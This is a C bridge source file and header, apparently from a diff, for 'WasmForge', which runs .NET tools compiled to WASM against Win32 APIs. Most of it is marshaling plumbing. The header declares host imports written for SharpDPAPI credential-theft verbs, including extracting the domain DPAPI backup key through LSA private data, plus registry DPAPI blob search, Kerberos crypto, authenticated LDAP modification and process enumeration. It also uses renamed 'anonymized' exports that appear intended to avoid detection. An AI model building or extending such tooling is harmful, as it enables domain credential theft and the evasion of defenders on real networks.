guards[i].saved[0] = *(uint32_t*)(uintptr_t)(addr + 4);
guards[i].active = 1;
}
}
}
// Return values written by mod_invoke.
uint64_t ret1_buf = 0;
// err_buf MUST be uint64_t even though Win32 errnos are 32-bit:
// the host's writeReturnValues writes 8 bytes to lastErrPtr via
// PutUint64. If err_buf were uint32_t (4 bytes), the trailing 4
// bytes would overflow into the adjacent ret1_buf, corrupting the
// low 32 bits of any 8-byte return value (e.g. HCERTSTORE).
// This was latent for BCrypt wrappers because they only consume
// the low 32 bits of r0 (status code) — the handle comes via an
// `out` param. Cert store / 8-byte-return APIs expose the bug.
uint64_t err_buf = 0;
// Call the host function via mod_invoke.
uint64_t r0 = wf_mod_invoke(
(uint64_t)proc, (uint32_t)nargs,
args[0], args[1], args[2], args[3],
args[4], args[5], args[6], args[7],
args[8], args[9], args[10], args[11],
args[12], args[13], args[14],
(uint64_t)(uintptr_t)&ret1_buf,
(uint64_t)(uintptr_t)&err_buf);
// POST-CALL: Restore saved bytes to undo any overflow.
for (int i = 0; i < nargs && i < WF_MAX_ARGS; i++) {
if (guards[i].active) {
*(uint32_t*)(uintptr_t)(guards[i].addr + 4) = guards[i].saved[0];
}
}
last_error = err_buf;
// Propagate Win32 LastError to NativeAOT-WASI's Marshal.GetLastPInvokeError()
// which reads `errno` on non-Windows runtimes. Without this, C# code paths
// that check `Marshal.GetLastWin32Error()` after a `[DllImport(SetLastError=true)]`
// call see 0 ("Success") even when the underlying Win32 API failed —
// confuses BCL exception messages (Win32Exception(0)) and breaks code that
// distinguishes ERROR_NO_MORE_ITEMS / ERROR_NOT_FOUND from real failures.
errno = (int)err_buf;
return r0;
}
uint64_t wf_call_handle(uint32_t proc_handle, int nargs, ...) {
va_list ap;
va_start(ap, nargs);
uint64_t args[WF_MAX_ARGS];
overflow_guard_t guards[WF_MAX_ARGS];
memset(guards, 0, sizeof(guards));
for (int i = 0; i < nargs && i < WF_MAX_ARGS; i++) {
args[i] = va_arg(ap, uint64_t);
}
va_end(ap);
for (int i = nargs; i < WF_MAX_ARGS; i++) {
args[i] = 0;
}
// PRE-CALL overflow protection.
for (int i = 0; i < nargs && i < WF_MAX_ARGS; i++) {
if (is_wasm_ptr(args[i])) {
uint32_t addr = (uint32_t)args[i];
if (addr + 8 <= wasm_memory_size()) {
guards[i].addr = addr;
guards[i].saved[0] = *(uint32_t*)(uintptr_t)(addr + 4);
guards[i].active = 1;
}
}
}
uint64_t ret1_buf = 0;
// err_buf MUST be uint64_t even though Win32 errnos are 32-bit:
// the host's writeReturnValues writes 8 bytes to lastErrPtr via
// PutUint64. If err_buf were uint32_t (4 bytes), the trailing 4
// bytes would overflow into the adjacent ret1_buf, corrupting the
// low 32 bits of any 8-byte return value (e.g. HCERTSTORE).
// This was latent for BCrypt wrappers because they only consume
// the low 32 bits of r0 (status code) — the handle comes via an
// `out` param. Cert store / 8-byte-return APIs expose the bug.
uint64_t err_buf = 0;
uint64_t r0 = wf_mod_invoke(
(uint64_t)proc_handle, (uint32_t)nargs,
args[0], args[1], args[2], args[3],
args[4], args[5], args[6], args[7],
args[8], args[9], args[10], args[11],
args[12], args[13], args[14],
(uint64_t)(uintptr_t)&ret1_buf,
(uint64_t)(uintptr_t)&err_buf);
// POST-CALL restore.
for (int i = 0; i < nargs && i < WF_MAX_ARGS; i++) {
if (guards[i].active) {
*(uint32_t*)(uintptr_t)(guards[i].addr + 4) = guards[i].saved[0];
}
}
last_error = err_buf;
// Propagate Win32 LastError to NativeAOT-WASI's Marshal.GetLastPInvokeError()
// which reads `errno` on non-Windows runtimes. Without this, C# code paths
// that check `Marshal.GetLastWin32Error()` after a `[DllImport(SetLastError=true)]`
// call see 0 ("Success") even when the underlying Win32 API failed —
// confuses BCL exception messages (Win32Exception(0)) and breaks code that
// distinguishes ERROR_NO_MORE_ITEMS / ERROR_NOT_FOUND from real failures.
errno = (int)err_buf;
return r0;
}
// ── wf_call_v2 / wf_call_handle_v2 — selective overflow protection ──
//
// Same as wf_call/wf_call_handle, but the caller passes an out8_mask
// bitmask of args whose pointed-to WASM slot is wider than 4 bytes
// (e.g. an `out ulong` for a BCRYPT_*_HANDLE, or a freshly-allocated
// `byte[]` output buffer). For each arg with its mask bit set, the
// 4-byte overflow protection is skipped.
//
// Rationale: the default wf_call protection saves bytes [addr+4..addr+7]
// before the call and restores them after. This is correct when the WASM
// slot is exactly 4 bytes (an `IntPtr` on wasm32) and the x64 API would
// write 8 bytes — the restore undoes the overflow into adjacent stack
// space. But when the WASM slot is 8+ bytes (a `ulong` or a wide buffer),
// the restore overwrites legitimate output: the high 32 bits of a handle,
// or bytes 4-7 of a structured blob.
uint64_t wf_call_v2(const char* dll_name, const char* func_name,
int nargs, uint32_t out8_mask, ...) {
uint32_t proc = wf_resolve_proc(dll_name, func_name);
if (proc == 0) {
last_error = 0x7F; // ERROR_PROC_NOT_FOUND
return 0;
}
va_list ap;
va_start(ap, out8_mask);
uint64_t args[WF_MAX_ARGS];
overflow_guard_t guards[WF_MAX_ARGS];
memset(guards, 0, sizeof(guards));
for (int i = 0; i < nargs && i < WF_MAX_ARGS; i++) {
args[i] = va_arg(ap, uint64_t);
}
va_end(ap);
for (int i = nargs; i < WF_MAX_ARGS; i++) {
args[i] = 0;
}
// PRE-CALL: Save 4 bytes after each WASM pointer arg, EXCEPT args
// whose bit is set in out8_mask (those slots are 8+ bytes wide).
for (int i = 0; i < nargs && i < WF_MAX_ARGS; i++) {
if ((out8_mask >> i) & 1U) continue;
if (is_wasm_ptr(args[i])) {
uint32_t addr = (uint32_t)args[i];
if (addr + 8 <= wasm_memory_size()) {
guards[i].addr = addr;
guards[i].saved[0] = *(uint32_t*)(uintptr_t)(addr + 4);
guards[i].active = 1;
}
}
}
uint64_t ret1_buf = 0;
// err_buf MUST be uint64_t even though Win32 errnos are 32-bit:
// the host's writeReturnValues writes 8 bytes to lastErrPtr via
// PutUint64. If err_buf were uint32_t (4 bytes), the trailing 4
// bytes would overflow into the adjacent ret1_buf, corrupting the
// low 32 bits of any 8-byte return value (e.g. HCERTSTORE).
// This was latent for BCrypt wrappers because they only consume
// the low 32 bits of r0 (status code) — the handle comes via an
// `out` param. Cert store / 8-byte-return APIs expose the bug.
uint64_t err_buf = 0;
uint64_t r0 = wf_mod_invoke(
(uint64_t)proc, (uint32_t)nargs,
args[0], args[1], args[2], args[3],
args[4], args[5], args[6], args[7],
args[8], args[9], args[10], args[11],
args[12], args[13], args[14],
(uint64_t)(uintptr_t)&ret1_buf,
(uint64_t)(uintptr_t)&err_buf);
// POST-CALL: Restore saved bytes. Args with mask bit set were not
// guarded (active==0), so they are skipped here automatically.
for (int i = 0; i < nargs && i < WF_MAX_ARGS; i++) {
if (guards[i].active) {
*(uint32_t*)(uintptr_t)(guards[i].addr + 4) = guards[i].saved[0];
}
}
last_error = err_buf;
errno = (int)err_buf;
return r0;
}
// ── wf_call_ptr — COM vtable / arbitrary funcptr dispatch ──────────
//
// COM method dispatch needs to call a raw host function pointer (a
// vtable slot read from a mirrored COM object). We can't resolve it via
// DLL+name lookup. Instead, on first use we register the funcptr with
// the host through mod_regptr, which creates a synthetic proc handle
// with the supplied pointer mask, and cache the result. Subsequent
// calls reuse the cached handle for free.
//
// The cache is keyed by (funcptr, ptr_mask) so the same vtable slot
// invoked with different masks (e.g. for overloaded variants) doesn't
// collide.
#define MAX_FUNCPTR_CACHE 256
typedef struct {
uint64_t funcptr;
uint32_t ptr_mask;
uint32_t handle;
} funcptr_cache_entry_t;
static funcptr_cache_entry_t funcptr_cache[MAX_FUNCPTR_CACHE];
static int funcptr_cache_count = 0;
static uint32_t resolve_funcptr(uint64_t funcptr, uint32_t ptr_mask) {
for (int i = 0; i < funcptr_cache_count; i++) {
if (funcptr_cache[i].funcptr == funcptr &&
funcptr_cache[i].ptr_mask == ptr_mask) {
return funcptr_cache[i].handle;
}
}
uint32_t handle = wf_register_funcptr(funcptr, ptr_mask);
if (handle == 0) return 0;
if (funcptr_cache_count < MAX_FUNCPTR_CACHE) {
funcptr_cache[funcptr_cache_count].funcptr = funcptr;
funcptr_cache[funcptr_cache_count].ptr_mask = ptr_mask;
funcptr_cache[funcptr_cache_count].handle = handle;
funcptr_cache_count++;
}
// Cache saturation (>256 distinct funcptr/mask pairs in one session):
// we silently re-register on every call. Host-side handle table entries
// accumulate until module exit, which collects the entire context. No
// OS handles are attached to handleProc entries, so this is bounded
// memory growth within one session — acceptable for COM usage where a
// single interface vtable has <30 methods.
return handle;
}
uint64_t wf_call_ptr(uint64_t funcptr, int nargs,
uint32_t ptr_mask, uint32_t out8_mask, ...) {
uint32_t handle = resolve_funcptr(funcptr, ptr_mask);
if (handle == 0) {
last_error = 0x7F; // ERROR_PROC_NOT_FOUND
return 0;
}
va_list ap;
va_start(ap, out8_mask);
uint64_t args[WF_MAX_ARGS];
overflow_guard_t guards[WF_MAX_ARGS];
memset(guards, 0, sizeof(guards));
for (int i = 0; i < nargs && i < WF_MAX_ARGS; i++) {
args[i] = va_arg(ap, uint64_t);
}
va_end(ap);
for (int i = nargs; i < WF_MAX_ARGS; i++) {
args[i] = 0;
}
for (int i = 0; i < nargs && i < WF_MAX_ARGS; i++) {
if ((out8_mask >> i) & 1U) continue;
if (is_wasm_ptr(args[i])) {
uint32_t addr = (uint32_t)args[i];
if (addr + 8 <= wasm_memory_size()) {
guards[i].addr = addr;
guards[i].saved[0] = *(uint32_t*)(uintptr_t)(addr + 4);
guards[i].active = 1;
}
}
}
uint64_t ret1_buf = 0;
// err_buf MUST be uint64_t even though Win32 errnos are 32-bit:
// the host's writeReturnValues writes 8 bytes to lastErrPtr via
// PutUint64. If err_buf were uint32_t (4 bytes), the trailing 4
// bytes would overflow into the adjacent ret1_buf, corrupting the
// low 32 bits of any 8-byte return value (e.g. HCERTSTORE).
// This was latent for BCrypt wrappers because they only consume
// the low 32 bits of r0 (status code) — the handle comes via an
// `out` param. Cert store / 8-byte-return APIs expose the bug.
uint64_t err_buf = 0;
uint64_t r0 = wf_mod_invoke(
(uint64_t)handle, (uint32_t)nargs,
args[0], args[1], args[2], args[3],
args[4], args[5], args[6], args[7],
args[8], args[9], args[10], args[11],
args[12], args[13], args[14],
(uint64_t)(uintptr_t)&ret1_buf,
(uint64_t)(uintptr_t)&err_buf);
for (int i = 0; i < nargs && i < WF_MAX_ARGS; i++) {
if (guards[i].active) {
*(uint32_t*)(uintptr_t)(guards[i].addr + 4) = guards[i].saved[0];
}
}
last_error = err_buf;
errno = (int)err_buf;
return r0;
}
uint64_t wf_call_handle_v2(uint32_t proc_handle, int nargs,
uint32_t out8_mask, ...) {
va_list ap;
va_start(ap, out8_mask);
uint64_t args[WF_MAX_ARGS];
overflow_guard_t guards[WF_MAX_ARGS];
memset(guards, 0, sizeof(guards));
for (int i = 0; i < nargs && i < WF_MAX_ARGS; i++) {
args[i] = va_arg(ap, uint64_t);
}
va_end(ap);
for (int i = nargs; i < WF_MAX_ARGS; i++) {
args[i] = 0;
}
for (int i = 0; i < nargs && i < WF_MAX_ARGS; i++) {
if ((out8_mask >> i) & 1U) continue;
if (is_wasm_ptr(args[i])) {
uint32_t addr = (uint32_t)args[i];
if (addr + 8 <= wasm_memory_size()) {
guards[i].addr = addr;
guards[i].saved[0] = *(uint32_t*)(uintptr_t)(addr + 4);
guards[i].active = 1;
}
}
}
uint64_t ret1_buf = 0;
// err_buf MUST be uint64_t even though Win32 errnos are 32-bit:
// the host's writeReturnValues writes 8 bytes to lastErrPtr via
// PutUint64. If err_buf were uint32_t (4 bytes), the trailing 4
// bytes would overflow into the adjacent ret1_buf, corrupting the
// low 32 bits of any 8-byte return value (e.g. HCERTSTORE).
// This was latent for BCrypt wrappers because they only consume
// the low 32 bits of r0 (status code) — the handle comes via an
// `out` param. Cert store / 8-byte-return APIs expose the bug.
uint64_t err_buf = 0;
uint64_t r0 = wf_mod_invoke(
(uint64_t)proc_handle, (uint32_t)nargs,
args[0], args[1], args[2], args[3],
args[4], args[5], args[6], args[7],
args[8], args[9], args[10], args[11],
args[12], args[13], args[14],
(uint64_t)(uintptr_t)&ret1_buf,
(uint64_t)(uintptr_t)&err_buf);
for (int i = 0; i < nargs && i < WF_MAX_ARGS; i++) {
if (guards[i].active) {
*(uint32_t*)(uintptr_t)(guards[i].addr + 4) = guards[i].saved[0];
}
}
last_error = err_buf;
errno = (int)err_buf;
return r0;
}
+393
View File
@@ -0,0 +1,393 @@
// wf_bridge.h — WasmForge NativeAOT-WASI bridge header.
//
// Declares the universal wf_call() bridge and direct host function imports.
// Used by pinvoke_nativeaot.c and hand-written P/Invoke implementations.
//
// The bridge solves the fundamental wasm32/x64 mismatch: NativeAOT compiles
// to wasm32 (4-byte pointers), but Windows APIs expect x64 (8-byte pointers).
// wf_call() provides overflow protection for output parameters.
#ifndef WF_BRIDGE_H
#define WF_BRIDGE_H
#include <stdint.h>
#include <stddef.h>
// ── WasmForge host function imports ──────────────────────────────────
// These are WASM imports from the "env" module, provided by the WasmForge
// host binary (Go code in internal/hostmod/).
// mod_invoke: Universal SyscallN dispatcher.
// Loads a DLL proc and calls it with up to 15 arguments, handling WASM→host
// pointer translation, shadow memory, and mirror table operations.
//
// proc_handle: win32 handle table entry for the target proc
// nargs: number of arguments (0-15)
// a0..a14: arguments (WASM pointers auto-translated to host addresses)
// ret1_ptr: WASM pointer to write r1 return value
// err_ptr: WASM pointer to write errno
// Returns: r0
__attribute__((import_module("env"), import_name("mod_invoke")))
extern uint64_t wf_mod_invoke(
uint64_t proc_handle, uint32_t nargs,
uint64_t a0, uint64_t a1, uint64_t a2, uint64_t a3,
uint64_t a4, uint64_t a5, uint64_t a6, uint64_t a7,
uint64_t a8, uint64_t a9, uint64_t a10, uint64_t a11,
uint64_t a12, uint64_t a13, uint64_t a14,
uint64_t ret1_ptr, uint64_t err_ptr);
// mod_load: LoadLibraryA — load a DLL by name.
// name_ptr: WASM pointer to null-terminated DLL name
// Returns: handle table entry, or 0 on failure
__attribute__((import_module("env"), import_name("mod_load")))
extern uint32_t wf_load_library(uint32_t name_ptr);
// mod_resolve: GetProcAddress — resolve a function by name.
// lib_handle: handle from wf_load_library
// name_ptr: WASM pointer to null-terminated function name
// Returns: handle table entry, or 0 on failure
__attribute__((import_module("env"), import_name("mod_resolve")))
extern uint32_t wf_get_proc_address(uint32_t lib_handle, uint32_t name_ptr);
// mod_free: FreeLibrary.
__attribute__((import_module("env"), import_name("mod_free")))
extern uint32_t wf_free_library(uint32_t lib_handle);
// mod_close: CloseHandle (generic).
__attribute__((import_module("env"), import_name("mod_close")))
extern uint32_t wf_close_handle(uint32_t handle);
// mod_regptr: Register a raw host function pointer (e.g. a COM vtable slot
// resolved via mirror traversal) as a synthetic proc handle with an explicit
// pointer mask. The returned handle plugs straight into wf_call_handle /
// wf_call_handle_v2 / wf_mod_invoke.
//
// funcptr: raw host function pointer (8 bytes; from a mirrored COM vtable)
// ptr_mask: bit N=1 means arg[N] is a WASM pointer that must be translated
// to a host address before the call; bit N=0 means arg[N] is a
// handle/scalar/size that must pass through unchanged
// Returns: handle table entry (>0) or 0 on failure
__attribute__((import_module("env"), import_name("mod_regptr")))
extern uint32_t wf_register_funcptr(uint64_t funcptr, uint32_t ptr_mask);
// ── NativeAOT-specific host function imports ─────────────────────────
// These bypass the SyscallN path entirely — complex operations run
// atomically on the host to avoid wasm32/x64 struct layout mismatches.
// sec_parsesddl import removed — WASM-side passthrough; richer parsing
// will use wf_call(advapi32!ConvertStringSDtoSD + GetAce) when needed.
// sec_sddl import removed — WASM-side via wf_call(advapi32!GetNamedSecurityInfoW
// + ConvertSecurityDescriptorToStringSecurityDescriptorW chain).
// sec_enumrights / sec_enumsessions imports removed — WASM-side stubs in
// pinvoke_env_ext.c. Full LsaLookupPrivilegeName / LsaEnumerateLogonSessions
// chains via wf_call to follow with wf_call_v2 handle-output marshaling.
// rpc_enumeps import removed — WASM-side stub (returns empty result) in
// pinvoke_env_ext.c. Full RpcMgmtEpEltInq chain via wf_call(rpcrt4.dll)
// can be added later.
// wmi_query / wmi_method imports removed — WASM-side stubs in
// pinvoke_env_ext.c. Full WMI COM chain via WfCom + wf_call_ptr later.
// wmi_query_r: host-side WMI for restricted namespaces (root\SecurityCenter2,
// ROOT\Subscription). Calls CoSetProxyBlanket on IWbemServices proxy so the
// WMI auth handshake never crosses the WASM FFI boundary (eliminates chanrecv2).
__attribute__((import_module("env"), import_name("wmi_query_r")))
extern uint32_t wf_wmi_query_restricted(uint32_t query_ptr, uint32_t query_len,
uint32_t ns_ptr, uint32_t ns_len,
uint32_t out_buf_ptr, uint32_t out_buf_len);
// reg_search: host-side BFS walker for SharpDPAPI's `search` verb. Walks the
// supplied hive (HKEY constant: 0x80000002=HKLM, 0x80000003=HKU) and writes
// NUL-separated UTF-8 match lines to the output buffer. First record is the
// "Root: <prefix>\" header matching native FindRegistryBlobs; subsequent
// records are full match lines "<prefix>\\<subpath> ! <valueName>". See
// internal/hostmod/nativeaot_regsearch_windows.go for the walker + DPAPI
// signature catalog.
__attribute__((import_module("env"), import_name("reg_search")))
extern uint32_t wf_reg_search(uint32_t hive, uint32_t out_buf_ptr, uint32_t out_buf_cap);
// dpapi_bkey: host-side DsGetDcName + LsaOpenPolicy + LsaRetrievePrivateData
// chain for SharpDPAPI's `backupkey` verb. Returns a packed reply: status u32,
// dc_name length-prefixed, guid length-prefixed (16 bytes on success), key_blob
// length-prefixed. server_ptr/server_len may be empty to trigger DsGetDcName.
// See internal/hostmod/nativeaot_backupkey_windows.go for wire-format details.
__attribute__((import_module("env"), import_name("dpapi_bkey")))
extern uint32_t wf_dpapi_backupkey(uint32_t server_ptr, uint32_t server_len,
uint32_t out_buf_ptr, uint32_t out_buf_cap);
// x509_match: host-side CurrentUser\MY + LocalMachine\MY walker for
// SharpDPAPI's machinetriage cert-matching path. Takes raw big-endian RSA
// modulus bytes (extracted by manual byte slicing of the decrypted blob),
// returns the matched cert's metadata + raw DER bytes packed as:
// status u32 (0=match, 1=no match), then on match: 7× length-prefixed
// records (thumbprint hex, issuer DN, subject DN, notBefore, notAfter,
// semicolon-joined EKU "friendly|oid" pairs, cert DER bytes).
// See internal/hostmod/nativeaot_x509match_windows.go for details.
__attribute__((import_module("env"), import_name("x509_match")))
extern uint32_t wf_x509_match(uint32_t modulus_ptr, uint32_t modulus_len,
uint32_t out_buf_ptr, uint32_t out_buf_cap);
// fs_listdir / fs_exists / fs_read_all imports removed — WASM-side via
// wf_call(kernel32.dll) FindFirstFileW / GetFileAttributesW / CreateFileW
// chains. See pinvoke_env_ext.c.
// fs_findfiles: one-shot recursive filesystem search. Host walks the tree
// natively (filepath.WalkDir) and returns matched paths in a NUL-separated
// UTF-8 buffer. Single WASM↔host crossing — vs the per-directory crossings
// the WASM-side fs_listdir approach incurs.
//
// root_ptr/root_len: UTF-8 root path (e.g., "C:\\ProgramData\\McAfee")
// pattern_ptr/pattern_len: UTF-8 case-insensitive substring match against basename
// max_depth: levels below root to descend (1 = immediate children only)
// max_matches: cap on result count (function returns early once reached)
// buf_ptr/buf_cap: WASM-side output buffer for NUL-separated paths
// count_ptr: WASM-side uint32 receiving the match count
// Returns: bytes_written into buf_ptr (0 on error, positive on success).
__attribute__((import_module("env"), import_name("fs_findfiles")))
extern int32_t fs_findfiles(
uint32_t root_ptr, uint32_t root_len,
uint32_t pattern_ptr, uint32_t pattern_len,
int32_t max_depth, int32_t max_matches,
uint32_t buf_ptr, uint32_t buf_cap, uint32_t count_ptr);
// reg_modifiable / sc_modifiable imports removed — WASM-side via wf_call
// (advapi32!RegOpenKeyExW with KEY_WRITE, OpenSCManagerW/OpenServiceW with
// SERVICE_CHANGE_CONFIG). See pinvoke_env_ext.c.
// proc_modules import removed — implemented WASM-side via wf_call(kernel32.dll)
// CreateToolhelp32Snapshot + Module32FirstW/NextW chain.
// net_adapters import removed — WASM-side via wf_call(iphlpapi!GetAdaptersInfo).
// ver_info import removed — WASM-side via wf_call(version.dll!Get/VerQueryW).
// reg_open / reg_close / reg_enum imports removed — WASM-side via
// wf_call(advapi32.dll!RegOpenKeyExW / RegCloseKey / RegEnumKeyExW)
// in pinvoke_env_ext.c.
// reg_enumvals import removed — WASM-side via wf_call(advapi32!RegOpenKeyExW +
// RegEnumValueW + RegCloseKey) in pinvoke_env_ext.c.
// lsa_kerbop import removed — WASM-side stub in pinvoke_env_ext.c
// (LSA Kerberos ticket ops degrade to empty pending SYSTEM impersonation
// design decision).
// crypto_kerbhash / crypto_kerbenc / crypto_kerbdec / crypto_kerbcksum
// env imports removed — WfKerberosHash/Encrypt/Decrypt/Checksum in
// pinvoke_nativeaot.c now implement these directly via BCrypt wf_call
// chains (hash) and CDLocateCSystem + wf_call_ptr_fixed8 (enc/dec/cksum).
// PBKDF2-HMAC-SHA1/256/512 imports removed — implemented WASM-side via
// wf_pbkdf2 (in pinvoke_nativeaot.c) using wf_call against
// bcrypt.dll!BCryptDeriveKeyPBKDF2.
// HMAC-SHA1/256/512: implemented WASM-side via wf_call(bcrypt.dll) chain.
// See wf_bcrypt_hash in pinvoke_nativeaot.c — no host import.
// All-process modules enumeration (no pid filter). Wire format:
// pid<TAB>processName<TAB>modulePath<NEWLINE>
// per module of every accessible process. Returns bytes written.
__attribute__((import_module("env"), import_name("proc_modules_all")))
extern uint32_t proc_modules_all(uint32_t out_buf_ptr, uint32_t out_buf_len);
// AES-CBC decrypt — implemented WASM-side via wf_call(bcrypt.dll) chain.
// See WfAesCbcDecrypt in pinvoke_nativeaot.c. Host has no dedicated AES bridge.
// SHA1 / SHA256 / HMAC-* are NO LONGER imported from host.
// They're implemented WASM-side in pinvoke_nativeaot.c via wf_call against
// bcrypt.dll's BCryptOpenAlgorithmProvider/CreateHash/HashData/FinishHash
// chain. This eliminates the host's dedicated crypto exports and keeps the
// hashing logic inside the WASM payload.
// crypto_sha256 import removed — migrated to wf_call(bcrypt.dll) chain.
// net_tcpsendrecv env import removed — WfTcpSendRecv now implements
// TCP+KRB framing directly via wf_sock_* primitives in pinvoke_nativeaot.c.
__attribute__((import_module("env"), import_name("net_ldapsearch")))
extern uint32_t net_ldapsearch(
uint32_t server_ptr, uint32_t server_len,
uint32_t port,
uint32_t base_dn_ptr, uint32_t base_dn_len,
uint32_t filter_ptr, uint32_t filter_len,
uint32_t attrs_ptr, uint32_t attrs_len,
uint32_t out_buf_ptr, uint32_t out_buf_len);
__attribute__((import_module("env"), import_name("net_ldapsearchext")))
extern uint32_t net_ldapsearchext(
uint32_t server_ptr, uint32_t server_len,
uint32_t port,
uint32_t base_dn_ptr, uint32_t base_dn_len,
uint32_t filter_ptr, uint32_t filter_len,
uint32_t attrs_ptr, uint32_t attrs_len,
uint32_t user_ptr, uint32_t user_len,
uint32_t domain_ptr, uint32_t domain_len,
uint32_t password_ptr, uint32_t password_len,
uint32_t out_buf_ptr, uint32_t out_buf_len);
__attribute__((import_module("env"), import_name("net_getdc")))
extern uint32_t net_getdc(uint32_t domain_ptr, uint32_t domain_len,
uint32_t flags,
uint32_t out_buf_ptr, uint32_t out_buf_len);
__attribute__((import_module("env"), import_name("net_ldapmodify")))
extern uint32_t net_ldapmodify(
uint32_t server_ptr, uint32_t server_len, uint32_t port,
uint32_t dn_ptr, uint32_t dn_len,
uint32_t attr_ptr, uint32_t attr_len,
uint32_t val_ptr, uint32_t val_len,
uint32_t op_code,
uint32_t user_ptr, uint32_t user_len,
uint32_t domain_ptr, uint32_t domain_len,
uint32_t password_ptr, uint32_t password_len);
// ── Bridge API ───────────────────────────────────────────────────────
// WF_MAX_ARGS is the maximum number of arguments for wf_call.
#define WF_MAX_ARGS 15
// wf_call: Universal bridge from C P/Invoke to WasmForge host SyscallN.
//
// Resolves DLL+proc by name (cached), calls via mod_invoke with automatic
// overflow protection: saves 4 bytes after each WASM pointer output arg,
// restores after the call. This prevents x64 APIs from corrupting adjacent
// wasm32 stack data when writing 8-byte values to 4-byte slots.
//
// dll_name: e.g. "kernel32.dll"
// func_name: e.g. "CreateFileW"
// nargs: argument count
// ...: uint64_t arguments
// Returns: r0 (uint64_t)
uint64_t wf_call(const char* dll_name, const char* func_name, int nargs, ...);
// wf_call_handle: Like wf_call but takes a pre-resolved proc handle.
uint64_t wf_call_handle(uint32_t proc_handle, int nargs, ...);
// wf_call_v2: Like wf_call but takes an out8_mask bitmask of arguments
// whose pointed-to WASM slot is >= 8 bytes wide (e.g. an `out ulong` for
// a BCRYPT_*_HANDLE, or a freshly-allocated `byte[]` output buffer).
//
// For each arg with its bit set in out8_mask, the 4-byte overflow protection
// is SKIPPED. The default protection (wf_call) saves 4 bytes at addr+4 before
// the call and restores them after — which corrupts the high half of an
// 8-byte handle output, and zeros bytes 4-7 of any output buffer larger
// than 4 bytes.
//
// out8_mask is a bitmask where bit i corresponds to arg i (LSB = arg 0).
// nargs must still be <= WF_MAX_ARGS.
uint64_t wf_call_v2(const char* dll_name, const char* func_name,
int nargs, uint32_t out8_mask, ...);
// wf_call_handle_v2: Like wf_call_v2 but with a pre-resolved proc handle.
uint64_t wf_call_handle_v2(uint32_t proc_handle, int nargs,
uint32_t out8_mask, ...);
// wf_call_ptr: Invoke an arbitrary host function pointer (e.g. a COM
// vtable slot) with up to WF_MAX_ARGS arguments. The bridge registers
// the funcptr with the host on first use (per ptr_mask) and caches the
// resulting synthetic proc handle for subsequent calls.
//
// funcptr: raw host function pointer (from a mirrored COM vtable)
// nargs: argument count (0..WF_MAX_ARGS)
// ptr_mask: bit N=1 means arg[N] is a WASM pointer to translate
// out8_mask: bit N=1 means arg[N]'s WASM slot is >= 8 bytes wide
// (skip the 4-byte overflow protection)
// ...: uint64_t arguments
// Returns: r0 (uint64_t)
uint64_t wf_call_ptr(uint64_t funcptr, int nargs,
uint32_t ptr_mask, uint32_t out8_mask, ...);
// wf_get_last_error: Returns the errno from the most recent wf_call.
uint32_t wf_get_last_error(void);
// ── DLL/Proc cache ──────────────────────────────────────────────────
// wf_resolve_proc: Resolve a DLL+proc name pair, caching the result.
// Returns proc handle (>0) or 0 on failure.
uint32_t wf_resolve_proc(const char* dll_name, const char* func_name);
// wf_host_read_bytes: read `len` bytes from arbitrary host memory at
// `host_addr` into the WASM buffer at `out_buf`. Returns 0 on success.
// Used to dereference host pointers returned by Win32 APIs whose
// containing struct chain wasn't fully mirrored.
__attribute__((import_module("env"), import_name("mod_hread")))
extern uint32_t wf_host_read_bytes(uint64_t host_addr, uint32_t len, void* out_buf);
// ── Host-memory allocator env imports (for WfHost.HostAlloc/Free/etc) ──
// Required by WfFileVersionInfo, WfX509Store, WfSec, WfSspi, WfLsa et al.
// All map to win32_virtual_alloc family registered in internal/hostmod/win32.go.
// Without these declarations, NativeAOT-LLVM emits undefined_stub for
// DllImport("env", EntryPoint="mem_alloc") and the call traps at runtime.
__attribute__((import_module("env"), import_name("mem_alloc")))
extern uint32_t wf_mem_alloc(uint32_t size, uint32_t alloc_type, uint32_t protect, uint32_t handle_ptr);
__attribute__((import_module("env"), import_name("mem_free")))
extern uint32_t wf_mem_free(int32_t handle);
__attribute__((import_module("env"), import_name("mem_write")))
extern uint32_t wf_mem_write(int32_t handle, uint32_t offset, const void* data_ptr, uint32_t data_len);
__attribute__((import_module("env"), import_name("mem_read")))
extern uint32_t wf_mem_read(int32_t handle, uint32_t offset, void* buf_ptr, uint32_t buf_len);
__attribute__((import_module("env"), import_name("mem_write32")))
extern uint32_t wf_mem_write32(int32_t handle, uint32_t offset, uint32_t value);
__attribute__((import_module("env"), import_name("mem_write64")))
extern uint32_t wf_mem_write64(int32_t handle, uint32_t offset, uint32_t value_ptr);
__attribute__((import_module("env"), import_name("mem_read32")))
extern uint32_t wf_mem_read32(int32_t handle, uint32_t offset, uint32_t out_ptr);
__attribute__((import_module("env"), import_name("mem_read64")))
extern uint32_t wf_mem_read64(int32_t handle, uint32_t offset, uint32_t out_ptr);
__attribute__((import_module("env"), import_name("mem_addr")))
extern uint32_t wf_mem_addr(int32_t handle, uint32_t addr_ptr);
// fs_pipes / sys_printers / sec_pkgs / priv_rights / net_wifi imports removed —
// WASM-side via wf_call(kernel32!FindFirstFileW) for pipes; stub-empty for the
// rest pending wf_call_v2 expansion of EnumPrintersW / EnumerateSecurityPackagesW /
// LsaEnumerateAccountRights / WlanEnumInterfaces handle-output chains.
// ── WASI socket primitive env imports (for WfTcp.SendRecv) ──────────────
// WasmForge exposes a full WASI-style socket API in internal/hostmod/{tcp,io,
// dns}.go. Anonymized export names from internal/names/names.go:
// sock_open -> env.fd_open
// sock_connect -> env.fd_connect
// sock_read -> env.fd_read2
// sock_write -> env.fd_write2
// sock_close -> env.fd_close2
// sock_getaddrinfo -> env.addr_resolve
// Used by dotnet/helpers/WfTcp.cs which is the wasm-side replacement for the
// broken net_tcpsendrecv env path. All pointer args are wasm32 offsets; the
// host translates via api.Module.Memory().
__attribute__((import_module("env"), import_name("fd_open")))
extern uint32_t wf_sock_open(int32_t domain, int32_t socktype, int32_t protocol, int32_t* fd_ptr);
__attribute__((import_module("env"), import_name("fd_connect")))
extern uint32_t wf_sock_connect(int32_t fd, const void* addr_ptr, uint32_t addr_len);
__attribute__((import_module("env"), import_name("fd_read2")))
extern uint32_t wf_sock_read(int32_t fd, void* buf_ptr, uint32_t buf_len, uint32_t* nread_ptr);
__attribute__((import_module("env"), import_name("fd_write2")))
extern uint32_t wf_sock_write(int32_t fd, const void* buf_ptr, uint32_t buf_len, uint32_t* nwritten_ptr);
__attribute__((import_module("env"), import_name("fd_close2")))
extern uint32_t wf_sock_close(int32_t fd);
__attribute__((import_module("env"), import_name("addr_resolve")))
extern uint32_t wf_sock_getaddrinfo(
const void* name_ptr, uint32_t name_len,
